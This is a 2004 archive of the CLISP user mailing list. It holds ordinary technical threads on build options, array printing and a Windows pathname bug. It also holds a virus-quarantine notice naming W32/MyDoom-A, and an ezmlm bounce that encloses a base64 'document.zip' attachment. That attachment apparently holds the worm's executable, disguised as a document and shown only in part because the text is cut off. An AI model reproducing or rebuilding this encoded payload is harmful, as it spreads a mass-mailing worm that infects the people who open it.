sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AmDPg-0007uM-Jq for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 06:45:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0TEihp21821; Thu, 29 Jan 2004 09:44:43 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Russell McManus Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87smhzzych.fsf@thelonious.dyndns.org> (Russell McManus's message of "Wed, 28 Jan 2004 14:07:10 -0500") References: <87smhzzych.fsf@thelonious.dyndns.org> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help building 2.32 with regexp module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 29 14:33:00 2004 X-Original-Date: Thu, 29 Jan 2004 09:44:42 -0500 > * Russell McManus [2004-01-28 14:07:10 -0500]: > > I've tried to figure out who to build a clisp 2.32 binary on my NetBSD > i386 machine that includes the regexp module. The commands I have > tried are as follows: > > ./configure with-gcc > cd with-gcc > ./makemake --with-dynamic-ffi --with-dynamic-modules --with-module=regexp > Makefile > gmake > sudo gmake install > > This installed a binary in /usr/local/bin/clisp which works, but does > not appear to include the regexp module. What am I doing wrong? try "clisp -K full". -- Sam Steingold (http://www.podval.org/~sds) running w2k Murphy's Law was probably named after the wrong guy. From Virus-Check@zrz.TU-Berlin.DE Fri Jan 30 10:08:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Amd4E-0002Mx-Hy for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 10:08:34 -0800 Received: from mail.zrz.tu-berlin.de ([130.149.4.15]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Amd4E-0003VD-0U for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 10:08:34 -0800 Received: from localhost ([127.0.0.1] helo=mail.zrz.TU-Berlin.DE) by mail.zrz.tu-berlin.de with esmtp (exim-4.30-1) for id 1Amd48-0000N4-Jb; Fri, 30 Jan 2004 19:08:28 +0100 MIME-Version: 1.0 Message-Id: <401A9D9B.000AEA.27663@mail.zrz.TU-Berlin.DE> Content-Type: Text/Plain; charset="ISO-8859-1" From: Virus-Check@zrz.TU-Berlin.DE To: X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Virus found in message (quarantined) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 10:09:22 2004 X-Original-Date: Fri, 30 Jan 2004 19:08:27 +0100 (CET) Virus Information Message from MailMonitor for SMTP v1.2.2 on mail.zrz.TU-Berlin.DE[130.149.4.15] You have sent a virus infected mail Sie haben eine Virus-infizierte Mail which was quaratined to protect versendet, die in Quarataene genommen the recipient. wurde, um den Empfaenger zu schuetzen. More information about the virus Mehr Informationen zum Virus unter at http://www.sophos.com http://www.sophos.de Sender/Recipient information Absender/Empfaenger Information Sender/Absender: Recipient/Empfaenger: --- Problem report --- Problem Bericht Email data: MessageID: (auto-added) From: clisp-list@lists.sourceforge.net To: brent@prz.tu-berlin.de Cc: Subject: TEST Scanning part [] Scanning part [body.pif] Attachment validity check: passed. Virus identity found: W32/MyDoom-A The recipient must request the Der Empfaenger muss die Freilassung release from quarantine to get aus der Quarantaene veranlassen, um the mail delivered. die Mail zugestellt zu bekommen. This mail was automatically Diese Mail wurde automatisiert generated. generiert. From toy@rtp.ericsson.se Fri Jan 30 10:51:26 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Amdjh-0001aF-Q2 for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 10:51:25 -0800 Received: from externalmx.valinux.com ([198.186.202.147] helo=externalmx.vasoftware.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Amdjh-0004jP-4S for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 10:51:25 -0800 Received: from imr1.ericy.com ([198.24.6.9]:36721) by externalmx.vasoftware.com with esmtp (Exim 4.24 #1 (Debian)) id 1AmaFO-0006u7-9w for ; Fri, 30 Jan 2004 07:07:54 -0800 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i0UF7dbj024229; Fri, 30 Jan 2004 09:07:39 -0600 (CST) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id CR57T5GY; Fri, 30 Jan 2004 09:07:14 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i0UF7fD01034; Fri, 30 Jan 2004 09:07:42 -0600 (CST) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pretty-printing multi-dimensional arrays References: <200401282029.25594.bruno@clisp.org> From: Raymond Toy In-Reply-To: <200401282029.25594.bruno@clisp.org> (Bruno Haible's message of "Wed, 28 Jan 2004 20:29:25 +0100") Message-ID: <4nbrol8og3.fsf@edgedsp4.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 10:52:19 2004 X-Original-Date: Fri, 30 Jan 2004 10:07:40 -0500 >>>>> "Bruno" == Bruno Haible writes: Bruno> 1) Does ANSI CL mandate this stupid behaviour of printing just one element Bruno> on each line? Bruno> 2) If not, can you instead implement a more dense representation that Bruno> attempts to condense as many array elements on a line as fit there, Bruno> Instead of spewing out hundreds of lines of output? I mean, the Bruno> pretty printer's output is made for humans. What I would expect is Bruno> #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 Bruno> 0.5 0.5) FWIW, cmucl prints it like this. ACL 6.2 also prints it like this, except it doesn't print all 20 elements. I guess I need to set some variable or other to print out more.... Ray From sds@gnu.org Fri Jan 30 12:15:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Amf3W-0001VE-4K for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 12:15:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AmL8S-00075S-VJ for clisp-list@lists.sourceforge.net; Thu, 29 Jan 2004 14:59:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id i0TMxWp27395; Thu, 29 Jan 2004 17:59:32 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Michael Graffam Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Michael Graffam's message of "Wed, 28 Jan 2004 20:24:32 -0500 (EST)") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLisp and GNU TeXmacs integration Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 12:21:17 2004 X-Original-Date: Thu, 29 Jan 2004 17:59:31 -0500 > * Michael Graffam [2004-01-28 20:24:32 -0500]: > > GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for > CLisp. why isn't CLISP mentioned on ? -- Sam Steingold (http://www.podval.org/~sds) running w2k Fighting for peace is like screwing for virginity. From lisp-clisp-list@m.gmane.org Fri Jan 30 12:47:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AmfYA-0005Z9-4B for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 12:47:38 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AmZYI-0007SO-2e for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 06:23:22 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AmZVP-0006gE-00 for ; Fri, 30 Jan 2004 15:20:23 +0100 Received: from 125.red-213-97-131.pooles.rima-tde.net ([213.97.131.125]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri Jan 30 14:20:23 2004 Received: from emufer by 125.red-213-97-131.pooles.rima-tde.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri Jan 30 14:20:23 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: =?iso-8859-1?q?Eduardo_Mu=F1oz?= Lines: 18 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org Gmane-NNTP-Posting-Host: 125.red-213-97-131.pooles.rima-tde.net User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 13:28:27 2004 X-Original-Date: 30 Jan 2004 14:44:07 +0100 Clisp fails to open pathnames that have a semicolon: [57]> (lisp-implementation-version) "2.32 (2003-12-29) (built 3281848709) (memory 3281887410)" [58]> (directory "d:\\Temp\\clisp\\*") (#P"D:\\Temp\\clisp\\foo;bar.baz") [59]> (defvar foo (open (car *))) *** - PARSE-NAMESTRING: syntax error in filename "D:\\Temp\\clisp\\foo;bar.baz" at position 2 Break 1 [60]> This is on windows 2000. The file can be opened on Linux (same clisp version). -- Eduardo Muñoz | (prog () 10 (print "Hello world!") http://213.97.131.125/ | 20 (go 10)) From lisp-clisp-list@m.gmane.org Fri Jan 30 15:16:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AmhsG-0000cH-Lt for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 15:16:32 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AmhsG-0008NW-6N for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 15:16:32 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AmhsE-0003NY-00 for ; Sat, 31 Jan 2004 00:16:30 +0100 Received: from 125.red-213-97-131.pooles.rima-tde.net ([213.97.131.125]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri Jan 30 23:16:30 2004 Received: from emufer by 125.red-213-97-131.pooles.rima-tde.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri Jan 30 23:16:30 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: =?iso-8859-1?q?Eduardo_Mu=F1oz?= Lines: 23 Message-ID: <87hdydc9mr.fsf@terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org Gmane-NNTP-Posting-Host: 125.red-213-97-131.pooles.rima-tde.net User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 15:24:21 2004 X-Original-Date: 31 Jan 2004 00:14:04 +0100 Clisp fails to open pathnames that have a semicolon: [57]> (lisp-implementation-version) "2.32 (2003-12-29) (built 3281848709) (memory 3281887410)" [58]> (directory "d:\\Temp\\clisp\\*") (#P"D:\\Temp\\clisp\\foo;bar.baz") [59]> (defvar foo (open (car *))) *** - PARSE-NAMESTRING: syntax error in filename "D:\\Temp\\clisp\\foo;bar.baz" at position 2 Break 1 [60]> This is on windows 2000. The file can be opened on Linux (same clisp version). P.S. This one is the second time that I send this post to gmane. Hopefully it wont be a duplicate. -- Eduardo Muñoz | (prog () 10 (print "Hello world!") http://213.97.131.125/ | 20 (go 10)) From vim-return-@vim.org Fri Jan 30 17:22:55 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AmjqY-0004S0-AR for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 17:22:54 -0800 Received: from foobar.math.fu-berlin.de ([160.45.45.151]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1AmXpY-0002Zw-Dv for clisp-list@lists.sourceforge.net; Fri, 30 Jan 2004 04:33:04 -0800 Received: (qmail 19018 invoked by uid 200); 30 Jan 2004 12:33:44 -0000 Mailing-List: contact vim-help@vim.org; run by ezmlm Message-ID: <1075466024.19017.ezmlm@vim.org> From: vim-return-@vim.org To: clisp-list@lists.sourceforge.net Delivered-To: responder for vim@vim.org Received: (qmail 18984 invoked from network); 30 Jan 2004 12:33:41 -0000 Received: from unknown (HELO customatixsvr.customatix.com.cn) (61.144.167.78) by foobar.math.fu-berlin.de with SMTP; 30 Jan 2004 12:33:41 -0000 Received: from lists.sourceforge.net ([10.0.105.16]) by customatixsvr.customatix.com.cn (8.11.6/8.11.6) with ESMTP id i0UDb7j27204 for ; Fri, 30 Jan 2004 21:37:07 +0800 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ezmlm response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 30 17:26:13 2004 X-Original-Date: 30 Jan 2004 12:33:44 -0000 Hi! This is the ezmlm program. I'm managing the vim@vim.org mailing list. This is a generic help message. The message I received wasn't sent to any of my command addresses. --- Administrative commands for the vim list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at vim-owner@vim.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 18984 invoked from network); 30 Jan 2004 12:33:41 -0000 Received: from unknown (HELO customatixsvr.customatix.com.cn) (61.144.167.78) by foobar.math.fu-berlin.de with SMTP; 30 Jan 2004 12:33:41 -0000 Received: from lists.sourceforge.net ([10.0.105.16]) by customatixsvr.customatix.com.cn (8.11.6/8.11.6) with ESMTP id i0UDb7j27204 for ; Fri, 30 Jan 2004 21:37:07 +0800 Message-Id: <200401301337.i0UDb7j27204@customatixsvr.customatix.com.cn> From: clisp-list@lists.sourceforge.net To: vim-help@vim.org Subject: Mail Delivery System Date: Fri, 30 Jan 2004 20:38:10 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0003_A7B482EF.52048B97" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0003_A7B482EF.52048B97 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0003_A7B482EF.52048B97 Content-Type: application/octet-stream; name="document.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document.zip" UEsDBAoAAAAAAMVkPjDKJx+eAFgAAABYAAAMAAAAZG9jdW1lbnQucGlmTVqQAAMAAAAEAAAA//8A ALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwAAAAAAAAAAAAAA AADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAAAAIAAAQAAAAAAAAABAAA AAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADowQAA MAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgVVBYMQAAAAAAUAAAAHAA AABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAABAAAAFQAAAAAAAAAAAAA AAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6HApIAUCZKAEAD/bJpmiwQ BPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCfaUgARAc4MDRN03QDKCQc GBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClvXKbpmsEHVEwDRDiapmma LCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyAeHAoe2jebNN1B1wDVEwo //sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY1MzIwJqmabq4J7CsqKCY aZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA+CbPA+jg2Gebzm1UNEMD QDQ024r/////nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/////91rAKZUEdutj3lzd Yehy/48iuFHtjC7TeybUDTnwqmf/////J+qweUUU5ruTbkwtEfjiz7+yqKGdnJ6jq7bE1ekAGjf/ ////V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/////hwqQGaWlqP7yw9Ko+BIsSmuP tuANPXCm3xtafOEnVcn/////EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCWT8tqDLFDerL/////cxfO iEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/////s8fe+hU1WH6nwwI0eaHcGluP5jBtzSB2 zyuK/FG5JJL/////A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9+Tj/////er8HUqDxRWyW U7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/////6o834pBB9axmI+OmbDUB0KJ3TyoI6c20not7bmRd WVj/////Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3/////mnenAnDhVcwGw0PGXNVh YWRqc3+MoLXN6AYnS3Kcyfn/////LGKbVxZYfbBgJv4jetQxkeRawy/OEIX9dPZ3+4AMmSn///// vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/////TkI7Nzg4PUVQXm+DmrTR8RQ6Y8++ 8OVstuQjW/e8Yaj/////0DuJ7nM8Y/iZ4MVLkRehId4isz8/VEhRe29+1s/ZbpX/3/7/KQMj6ZQJ v+bzpUEQpnwyaWuAIQstx07SEIJs+f////9zp3feFIcHB/tSqgFhwCyb9yaW3ZedImAPRp7N/SxA f/////+TstLxCSBYdmhjXVBSUVNqZHcBLMXvVDC8VxE8zp1Xbv////8g461g2tFSFc5mX7dBwBTk ZZOfeP5yDbznapV7exN2dv////99HA0t8vb0sPHR53n63Uxlo/8nbIzdC9uMG6m9dYc7T//////b FIJCFAlFzIIP+mK3KXP7FYPnHpN+tCRpKf+9KMvqTv//7f93Djqwv/dU1OxzmAFNBp3yoq/CYvPl XjffBXFS/////wf4G0B+VD6nqU8sAn0wyOcG0lQqGmtMAZ0E9mr6HccG/4X///gdkASrlgAGBhAr 75nUTv8XeAuTxvh1IYyk/////1//zHJr62/+pf3s0EHJeJHZxKwmx+jgqbcaXW/sKRCj/////7zz 7fVvUSE1jdZTHEgpGOO3XD+duM3QUlXjtUPqvmfj/////6CgMuLOSTokLzAKj66E4XVAoWKYsvUw SuDj/5GBwScH/////3eIZ49Us4UI4v6CRathjnTauyo4rvBK1BicF4pIwrW8/////577H1bmbpDg O0ezoBq30qq8xPeTSKYBwAT/BhKLXanY/////72UMfgf6FpjPt/WCspC1QxeYEly9fSu9FMX/BYV 8o6a/////3NwPIKx4o43W1MWoieUVFissTU3Pqp1ZZUhbusahIFq/////+YKGD86lZ+BguNzpEc9 CQLWLojCp9U/ilzqn1Y7Xz1K/9L//8N5X0MJuPCrms4esoXZS8HUO17P3/ZH+Ur3/////9j7LbSK Z2L/WK0RjCL3W8tY34X8rOBl2uuXlOJgCO8//////zzj7H8QjmB+3U2b5J0FG5d628yz+zePJfE5 HbJ8GvUd/////x+9n+nG6unrPtmWcP072kUl9vOk59YEIUw5/lukh4mS////C53TsFuNKjZCG8rR 5DRQrMMcxeFmimxbM1FC/////+0+I6ti1+6U9DSy6dVJrF4mrrxteWeVWzeGpII9rofD/////4ew gLbfQ9+7i4BlLx6oMsu1KpM3Q3niYjRauu1pXGwi/////6wY1XPh68iGL1pJT/FD8zfLbzYYPWct ofGYQhK4DcHK/7f//2sKa/gFjY0HnpfoiFC2srjZ8zKBX9p+X/fQHQ3/////ShsDOn0PPwtPGPEr 4Yi1NyT31AcfN2/Na5BdQpaXn6L/////n50vJlZAhvcbrLVavCc7JKSdidPIpU82+mgAvj5dGdb/ 2///9ckUyfDkjiw2iQvghuvRCwoz07M2hpLkvYowoP/////HuV680N6rwchK14K/XeWgnpOQJdhA LzGgCaazMAGh2P////9frZFovBhyOfUsoWNhix4aQSY3G0eq2fC7xeYx4EwsaTf+///o+hHGcPdD +0ei2qDV9yjFv7WVcNEE9fBNaRv8////lj2TBqUsujl4DNudAiPDmVWWhFuHQjz/////MzSANfYd 8ySmXsbvONrcqoff2HIvP8Tk9pY2j0Q1R/X/////QdWRJmlnyhPaLDJtCSkRc1pBVgs6PfBSHawv phrwt/r//0v/MRQml5IPtKQsvl7QDM/PtwBr03qRVDiIkrH/N2j/5Qrn4JUlmsjO1oIDpc578bTz HTb//1/4sAzRf5GPJf5SijZ1a+/bwdkjxg8+dRWkwP3/////vLrDPAha53OGbtWwV3A6D36k3FDV Qj8Pjq8/q+BAc+P///8bwlx/iRSy+e0DGCL+C48qlJUdTWH6Jm9hE4O/8P///h3CDD375n8/KDSe K68izSmi62dcuGhJfmZLf4P/wKqq0yrLdWigKKdI39unGj0l/////yQF1+Xs4O3i+PkOZ5dWkbv0 XM3X35G6tz+5ml2IrF05/xb//+xxa5fsK8AuCGjFnVkbCQvvGbZTWZVZD/////8Sdvmb1JGvTrBB SKDuhyimZ58Oxz9PyLYCxZlctWRzDr/E//+bALZBVBTrCYPqxQD5jmVeaGEU9uPhUpP/wv//2shf m3fGoonK0uTbIvEfjxzJrtVAeLhM3Hz/////8cmzboBqoIUrhLngq83ncX+3mzFatZHSCDRwTowm o2m/9P9vNQibXZvIi1v9QJbcQFjMEOr8sIvFbf////+Lst8d93QR3CapECBKfjJBvuVhS+lyfye8 BkOTUvkTG//////2Xb5AnMIPmQDGi6z1htfggp53i/rU5k4QwhhLPijt+f/G//Z8Cn9Hw2p2uZn+ Xa5sWs1OG+uJcY78G/3///H2Bnx5XBOxTyH1VPUrYn2kY3C1qmJKkf////81xphmgCJYj1UseNhB 